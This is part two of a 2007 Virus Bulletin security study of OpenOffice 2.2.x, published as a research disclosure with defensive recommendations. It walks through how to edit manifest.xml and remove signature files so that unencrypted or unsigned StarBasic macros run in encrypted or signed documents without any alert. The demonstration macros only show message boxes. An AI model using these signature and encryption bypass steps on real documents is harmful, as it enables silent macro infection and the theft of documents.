2007-10-01
Abstract
In the conclusion of his two-part article presenting an up-to-date evaluation of the security of OpenOffice, Eric Filiol looks at security issues in OpenOffice integrity management and draws conclusions about the overall security of OpenOffice.
Copyright © 2007 Virus Bulletin
This two-part article presents an up-to-date evaluation of the security of OpenOffice (release 2.2.x), based on the results of a study undertaken during the summer of 2006. Part one of this article (see VB, September 2007, p.11) introduced the OpenDocument format (ODF), detailed the security issues in OpenOffice encryption and signature and presented a formalization of attacks on ODF. This part of the article looks at security issues in OpenOffice integrity management and draws conclusions about the overall security of OpenOffice.
All our experiments [1], [2], [8] and real case analyses have proved that it is possible to infect an OpenOffice document very easily. Moreover this can be performed without triggering any warning or even alerting the user to the presence of macros [1]. The most critical issue lies in the fact that all of these attacks remain possible even when all security measures (e.g. encryption, digital signature) have been applied.
In this section, we will present some of the most critical classes of attack. All of the attacks presented in [2] for OpenOffice 2.0.x are still effective for the 2.2.0 release, so we will just recall some of them and add new ones with respect to the digital signature. They have been identified very recently.
All the attacks lie in the modification of the following files in ODF archives:
content.xml
META-INF/manifest.xml
Basic/script-lc.xml
Basic/<library_name>.xml or Standard.xml
Basic/<library_name>/script-lb.xml
Basic/<library_name>/<macro_name>.xml
Let us consider an encrypted document whose macro is also encrypted. We will demonstrate how the encrypted macro can be replaced with a malicious, unencrypted one. When the user opens and deciphers the document (by entering his password), no alert will be issued but the malicious macro will be run.
Let us first look at the structure of this document prior to modification. It is contained in the META-INF/manifest.xml file. The parts of the file relating to the content encryption are shown in italic, while those relating to the macro encryption are shown in bold.
<?xml version=”1.0" encoding=”UTF-8"?> <manifest:manifest xmlns:manifest=”urn:oasis:names:tc:opendocument:xmlns: manifest:1.0"> <manifest:file-entry manifest:media-type=”application/vnd.oasis.opendocument.text” manifest:full-path=”/”/> <manifest:file-entry manifest:media-type=”” manifest:full-path=”Configurations2/statusbar/”/> <manifest:file-entry manifest:media-type=”” manifest:full-path=”Configurations2/accelerator/current.xml” manifest:size=”0"> <manifest:encryption-data manifest:checksum-type=”SHA1/1K” manifest:checksum=”aIk0hF8iBJyxRmiDLvoz1FATtrk=”> <manifest:algorithm manifest:algorithm-name=”Blowfish CFB” manifest:initialisation-vector=”Aft5D8rS4Tc=”/> <manifest:key-derivation manifest:key-derivation-name=”PBKDF2" manifest:iteration-count=”1024" manifest:salt=”7+uA1gcyifrwus8NAJ4P0g==”/> </manifest:encryption-data> </manifest:file-entry> <manifest:file-entry manifest:media-type=”” manifest:full-path=”Configurations2/accelerator/”/> <manifest:file-entry manifest:media-type=”” manifest:full-path=”Configurations2/floater/”/> <manifest:file-entry manifest:media-type=”” manifest:full-path=”Configurations2/popupmenu/”/> <manifest:file-entry manifest:media-type=”” manifest:full-path=”Configurations2/progressbar/”/> <manifest:file-entry manifest:media-type=”” manifest:full-path=”Configurations2/menubar/”/> <manifest:file-entry manifest:media-type=”” manifest:full-path=”Configurations2/toolbar/”/> <manifest:file-entry manifest:media-type=”” manifest:full-path=”Configurations2/images/Bitmaps/”/> <manifest:file-entry manifest:media-type=”” manifest:full-path=”Configurations2/images/”/> <manifest:file-entry manifest:media-type=”application/vnd.sun.xml.ui.configuration” manifest:full-path=”Configurations2/”/> <manifest:file-entry manifest:media-type=”text/xml” manifest:full-path=”content.xml” manifest:size=”2654"> <manifest:encryption-data manifest:checksum-type=”SHA1/1K” manifest:checksum=”cLjeVcn0HUvWH6AksJUt9B+/m80=”> <manifest:algorithm manifest:algorithm-name=”Blowfish CFB” manifest:initialisation-vector=”88UAHW9S7AA=”/> <manifest:key-derivation manifest:key-derivation-name=”PBKDF2" manifest:iteration-count=”1024" manifest:salt=”l4mR5N16lc15CM2i1+thdg==”/> </manifest:encryption-data> </manifest:file-entry> <manifest:file-entry manifest:media-type=”text/xml” manifest:full-path=”Basic/Standard/Mess_to_user.xml” manifest:size=”347"> <manifest:encryption-data manifest:checksum-type=”SHA1/1K” manifest:checksum=”Ak30lrpgYdX/q3qq4qjtJYfW3WQ=”> <manifest:algorithm manifest:algorithm-name=”Blowfish CFB” manifest:initialisation-vector=”vu7rTd3OYWU=”/> <manifest:key-derivation manifest:key-derivation-name=”PBKDF2" manifest:iteration-count=”1024" manifest:salt=”KIeIhkKFlu0+C4eL1E7EwQ==”/> </manifest:encryption-data> </manifest:file-entry> <manifest:file-entry manifest:media-type=”text/xml” manifest:full-path=”Basic/Standard/script-lb.xml” manifest:size=”353"> <manifest:encryption-data manifest:checksum-type=”SHA1/1K” manifest:checksum=”4FmXs2oOBSk6bWqLsvUFMrnp/ik=”> <manifest:algorithm manifest:algorithm-name=”Blowfish CFB” manifest:initialisation-vector=”yki90zxcSVU=”/> <manifest:key-derivation manifest:key-derivation-name=”PBKDF2" manifest:iteration-count=”1024" manifest:salt=”th0bGueB7lHhnzbeYGgvyA==”/> </manifest:encryption-data> </manifest:file-entry> <manifest:file-entry manifest:media-type=”” manifest:full-path=”Basic/Standard/”/> <manifest:file-entry manifest:media-type=”text/xml” manifest:full-path=”Basic/script-lc.xml” manifest:size=”338"> <manifest:encryption-data manifest:checksum-type=”SHA1/1K” manifest:checksum=”EClic6byHiSVEsuYf5VZ85y2C5A=”> <manifest:algorithm manifest:algorithm-name=”Blowfish CFB” manifest:initialisation-vector=”fa/vxhT25c0=”/> <manifest:key-derivation manifest:key-derivation-name=”PBKDF2" manifest:iteration-count=”1024" manifest:salt=”dmJtqGXRW+sO+o8vU/GbiQ==”/> </manifest:encryption-data> </manifest:file-entry> <manifest:file-entry manifest:media-type=”” manifest:full-path=”Basic/”/> <manifest:file-entry manifest:media-type=”text/xml” manifest:full-path=”styles.xml” manifest:size=”8315"> <manifest:encryption-data manifest:checksum-type=”SHA1/1K” manifest:checksum=”qgwehDuLTFNDAo7TKMExjmID9tY=”> <manifest:algorithm manifest:algorithm-name=”Blowfish CFB” manifest:initialisation-vector=”8dWw8yHo5aU=”/> <manifest:key-derivation manifest:key-derivation-name=”PBKDF2" manifest:iteration-count=”1024" manifest:salt=”KTXWF5oelquuWtzKsibnTg==”/> </manifest:encryption-data> </manifest:file-entry> <manifest:file-entry manifest:media-type=”text/xml” manifest:full-path=”meta.xml”/> <manifest:file-entry manifest:media-type=”” manifest:full-path=”Thumbnails/thumbnail.png” manifest:size=”4252"> <manifest:encryption-data manifest:checksum-type=”SHA1/1K” manifest:checksum=”oJf7JAjmPn/7q76QPXSxjNdN8RM=”> <manifest:algorithm manifest:algorithm-name=”Blowfish CFB” manifest:initialisation-vector=”ezfIUx0E/2A=”/> <manifest:key-derivation manifest:key-derivation-name=”PBKDF2" manifest:iteration-count=”1024" manifest:salt=”D5J8wBvv1c4YAQlOvek6EA==”/> </manifest:encryption-data> </manifest:file-entry> <manifest:file-entry manifest:media-type=”” manifest:full-path=”Thumbnails/”/> <manifest:file-entry manifest:media-type=”text/xml” manifest:full-path=”settings.xml” manifest:size=”7477"> <manifest:encryption-data manifest:checksum-type=”SHA1/1K” manifest:checksum=”XBWgGb0E8QJocGNDRgAluLWQ0yI=”> <manifest:algorithm manifest:algorithm-name=”Blowfish CFB” manifest:initialisation-vector=”Rjtsrax4yr4=”/> <manifest:key-derivation manifest:key-derivation-name=”PBKDF2" manifest:iteration-count=”1024" manifest:salt=”R2OqHLfNJBy9S6be6+/F9Q==”/> </manifest:encryption-data> </manifest:file-entry> </manifest:manifest>
Now let us modify the document in order to insert a malicious macro. The part of the file that refers to the component to be modified is as follows:
<manifest:file-entry manifest:media-type=”text/xml” manifest:full-path=”Basic/Standard/Mess_to_user.xml” manifest:size=”347"> <manifest:encryption-data manifest:checksum-type=”SHA1/1K” manifest:checksum=”Ak30lrpgYdX/q3qq4qjtJYfW3WQ=”> <manifest:algorithm manifest:algorithm-name=”Blowfish CFB” manifest:initialisation-vector=”vu7rTd3OYWU=”/> <manifest:key-derivation manifest:key-derivation-name=”PBKDF2" manifest:iteration-count=”1024" manifest:salt=”KIeIhkKFlu0+C4eL1E7EwQ==”/> </manifest:encryption-data> </manifest:file-entry>
The content of the encrypted macro is as follows:
y~}I\_^K<97>ý÷\^E^YД¨\¨¯^Q<99><9c>´^Ytgñû^Si;!<85>^Aý^T,<84>A N±ÌÙ£^EÏ^P<8d>òì\^egU<97>^Se±(WÞ°^LrÒøk[x#EËEE<92>\ ’EÙÙ\’elZ\^aÎzK\‘A<95><8e>*×<91>^CÔÁS}ebä~<93>|M%^ä*ºÖIW^Kb{^S¬j5^U<98><99>.^Z÷³<98><8d>¯<99>@<91>Ifæ%õ<85>ö \^A\^A<82>ò¢<9c>L¾<8c>RË Ï§Î´ûB~øtrËGJ^?L,Cw½^T^X\‘eÝ<8f>õ<96> #l^NG<8e><85>;Æ<94>Ù:ñùj õ^H¡<9e>^A¥}Ä’RVm.^Zñ<81>r}^@¯<85>^@¦ü»äÁ^\Ì^[^@<98>’þ0<8e>+G \‘A<92>0Ë{õNg<89>³ ¥&Dðý
We will now replace the encrypted macro with a malicious, unencrypted macro. In the first instance, we have to remove all references to encryption in the META-INF/manifest.xml file. Then we can replace the encrypted macro with the malicious one whose code is as follows:
<?xml version=”1.0" encoding=”UTF-8"?> <!DOCTYPE script:module PUBLIC “-//OpenOffice.org//DTD OfficeDocument 1.0 //EN” “module.dtd”> <script:module xmlns:script=”http://openoffice.org/2000/script” script:name=”mess_to_user” script:language=”StarBasic”>REM ***** BASIC ***** Sub Main msgbox(" I am a malicious macro... hey hey, I have just infected your document...") End Sub </script:module>
No alert will be issued when the document is opened and the malicious macro will operate. In the case of a trusted macro, the user would not even be notified of the presence of the macro, thus increasing its infectious power further.
Let us now consider a digitally signed document without any macros. The digital signature is applied according to the path sig1 or sig2 in the graph shown in Figure 1. In this case, we will bypass the digital signature to insert a malicious macro. This is possible because it is only the document’s content that is signed.
First, we remove the information that relates to the signature in the META-INF/manifest.xml file:
<manifest:file-entry manifest:media-type=”” manifest:full-path=”META-INF/documentsignatures.xml” />
Next, we remove the META-INF/documentsignatures.xml file from the archive. No integrity violation alert is triggered when the user opens the document. However, the icon at the bottom of the OpenOffice GUI, which indicates that the document is signed, disappears. It is possible that the disappearance of this icon could alert the recipient user to the fact that the file has been tampered with.
The second step of the infection consists of retaining the signature but inserting a malicious macro into the document. Let us consider the following macro:
<?xml version=”1.0" encoding=”UTF-8"?> <!DOCTYPE script:module PUBLIC “-//OpenOffice.org//DTD OfficeDocument 1.0 //EN” “module.dtd”> <script:module xmlns:script=”http://openoffice.org/2000/script” script:name=”mess_to_user” script:language=”StarBasic”>REM ***** BASIC ***** Sub Main msgbox("I am a malicious macro... hey hey, I have just infected your document..." ;) End Sub </script:module>
The final step involves adding the information relating to the existence of this macro into the META-INF/manifest.xml file:
<manifest:file-entry manifest:media-type=”text/xml” manifest:full-path=”Basic/Standard/Mess_to_user.xml”/> <manifest:file-entry manifest:media-type=”text/xml” manifest:full-path=”Basic/Standard/script-lb.xml”/> <manifest:file-entry manifest:media-type=”” manifest:full-path=”Basic/Standard/”/> <manifest:file-entry manifest:media-type=”text/xml” manifest:full-path=”Basic/script-lc.xml”/> <manifest:file-entry manifest:media-type=”” manifest:full-path=”Basic/”/>
The signature’s icon is still present in the OpenOffice GUI, no alert is triggered, the user is fooled and the macro will operate.
In this third class of attack, let us consider a document with a macro where both the document’s content and the macro have been signed. In a similar way to that presented above, the infection consists of bypassing the signature by modifying all the relevant information – removing the following data in the META-INF/manifest.xml:
<manifest:file-entry manifest:media-type=”” manifest:full-path=”META-INF/macrosignatures.xml”/>
Then we just have to remove the macrosignatures.xml file from the archive. Now we are back to the previous case of having a signed document with unsigned macros. According to this case, we have to modify the data located between the two tags:
<script:module xmlns:script=“http://openoffice.org/2000/script” script:name=“hello” script:language=“StarBasic”>
and
</script:module>
The original macro, which looks like this:
<?xml version=”1.0" encoding=”UTF-8"?> <!DOCTYPE script:module PUBLIC “-//OpenOffice.org//DTD OfficeDocument 1.0 //EN” “module.dtd”> <script:module xmlns:script=”http://openoffice.org/2000/script” script:name=”hello” script:language=”StarBasic”>REM ***** BASIC ***** Sub Main MsgBox("Hello World") End Sub </script:module>
has been modified as follows:
<?xml version=”1.0" encoding=”UTF-8"?> <!DOCTYPE script:module PUBLIC “-//OpenOffice.org//DTD OfficeDocument 1.0 //EN” “module.dtd”> <script:module xmlns:script=”http://openoffice.org/2000/script” script:name=”hello” script:language=”StarBasic”>REM ***** BASIC ***** Sub Main MsgBox("Hello Mr User, your macro has just have been hacked :)") End Sub </script:module>
Once again, no alert will be triggered when the document is opened. It is thus very easy to infect a document while retaining the digital signature, promoting a false sense of security in doing so.
In this case, the document is first signed (including the macro) and then encrypted. This should be the most secure way to protect an OpenOffice document, but unfortunately this is not the case. We will now show how both the encryption and the digital signature can be bypassed.
In the META-INF/manifest.xml file, we first remove the following parts which relate to the macro encryption and signature:
<manifest:file-entry manifest:media-type=”” manifest:full-path=”META-INF/macrosignatures.xml”/> ............... <manifest:encryption-data manifest:checksum-type=”SHA1/1K” manifest:checksum=”YcgygyDHQ1NUCAB80HA5Z4C24No=”> <manifest:algorithm manifest:algorithm-name=”Blowfish CFB” manifest:initialisation-vector=”QcCMCISZu+8=”/> <manifest:key-derivation manifest:key-derivation-name=”PBKDF2" manifest:iteration-count=”1024" manifest:salt=”RDdsU3RxAIqYmBhfgviwug==”/> </manifest:encryption-data> </manifest:file-entry> ............... <manifest:encryption-data manifest:checksum-type=”SHA1/1K” manifest:checksum=”AVJqugo0F2xvU9KaiKcanc17mgE=”> <manifest:algorithm manifest:algorithm-name=”Blowfish CFB” manifest:initialisation-vector=”e/nOQd+LvKY=”/> <manifest:key-derivation manifest:key-derivation-name=”PBKDF2" manifest:iteration-count=”1024" manifest:salt=”Z2YgG2pkbAekJZ4AVvaLyg==”/> </manifest:encryption-data> </manifest:file-entry> ............... <manifest:encryption-data manifest:checksum-type=”SHA1/1K” manifest:checksum=”EClic6byHiSVEsuYf5VZ85y2C5A=”> <manifest:algorithm manifest:algorithm-name=”Blowfish CFB” manifest:initialisation-vector=”flO0sxd0s4w=”/> <manifest:key-derivation manifest:key-derivation-name=”PBKDF2" manifest:iteration-count=”1024" manifest:salt=”+F5uK/4ALZuR2Q1Kl1uD0Q==”/> </manifest:encryption-data> </manifest:file-entry> ..................
Then we remove the META-INF/macrosignatures.xml file from the archive. Finally we replace the encrypted macros:
/<9a>Îd<9d>gÍäëmBðÿa}<93>^A8çèîQâtä^W÷ 4¬<81>ßSÿ3^Vþ^QE^ E)0lo^UY<81>ªeÄ^P§’(søòú^C^[X^TQÁܸ^LVö½^Uc²oÚÉÿ^P< 9a>^_XÜ^QT”b^]nôó°^L1à^?Ê^Yð^KQÏ”0^TnC>IÑSx¡¹^Q< 9a>Ø´^G^@¸t<91>^^^[<95>íó^CÂ÷ï^Oû<97>^S®^KWV<92> <87>¯^U ´¦<81>òøͧÿ<91>¾^C<9f>Z^\õ÷Ôúâ^_³|w\.*£^YÔ^K^@°ÀvÚ}và<82> <8a>Ãô·^YkeÍâï^ö¦ÿÆ(<83>Íð æÀ|X3¬=þþd@^R’ú^Q©ç<88>^Lc^H^E<8c>Ì^Nì<8d>ÜÞ
with a malicious (unencrypted) one:
<?xml version=”1.0" encoding=”UTF-8"?> <!DOCTYPE script:module PUBLIC “-//OpenOffice.org//DTD OfficeDocument 1.0 //EN” “module.dtd”> <script:module xmlns:script=”http://openoffice.org/2000/script” script:name=”hello” script:language=”StarBasic”>REM ***** BASIC ***** Sub Main MsgBox("Hello Mr User, your macro has just have been hacked :)") End Sub </script:module>
When the document is opened, no alert is triggered despite the fact that the document’s signature is still present. The malicious macro has been executed successfully.
A less brutal approach would consist of removing the encryption data relating to the Basic/Standard/<macro_name>.xml file only. However, in order to do that one must know the exact structure of the library.
Many other attacks can be performed on OpenOffice documents even when encrypted and/or digitally signed. For example:
Adding external files into the archive: theft of documents from an OpenOffice (malicious) document.
Using complex macro libraries: all the previous work extends to complete libraries. It is possible to perform very complex malicious attacks.
The in-depth analysis of OpenOffice security has uncovered design flaws that make viral attacks very easy and powerful, undermining the sense of security which the user feels is provided by both encryption and digital signatures.
These techniques are badly managed and can be bypassed simply by using a basic text editor.
All relevant data have been provided to the OpenOffice developers and we hope that they will soon issue a new, more secure release that will correct these weaknesses. But OpenOffice’s design philosophy must be fundamentally changed in order to manage better the integrity of OpenOffice documents – the most critical issue underlying all the OpenOffice weaknesses. The question is: is it really possible to offer security while being totally open? Since the attacker also has access to the security specifications, he has total control of the security mechanisms (unless they are non-public or a secret parameter – such as a key – is used and efficiently managed). In this context, the odds are in the favour of the proprietary software.
We strongly advise OpenOffice users to protect their documents by using external encryption and digital signature (e.g. PGP).
From the point of view of AV software, anti-virus products should warn of the presence of any macro in OpenOffice documents and should alert the user when the document content is signed but the macros are not. They also should issue an alert whenever an encrypted document contains unencrypted macros. It is certain that AV products have an essential role to play in the context of OpenOffice security.
[1] De Drézigué, D.; Fizaine, J.-P.; Hansma, N. In-depth Analysis of the Viral Threats with OpenOffice.org Documents. Journal in Computer Virology, (2)-3, 2006.
[2] Filiol, E.; Fizaine, J.-P. Le risque viral sous OpenOffice 2.0.x. MISC – Le journal de la sécurité informatique, vol. 27. 2006. http://www.miscmag.com/.
[3] Rautiainen, S. OpenOffice Security. Proceedings of the Virus Bulletin International Conference 2003.
[4] Lagadec, P. OpenOffice/OpenDocument and MS Open XML Security. PACSEC 2006 Conference. http://pacsec.jp/psj06archive.html.
[5] Open Oasis. OpenDocument Specifications v1.1. http://www.oasis-open.org/specs/.
[6] W3C. Spécification signature W3C. http://www.w3.org/Signature/.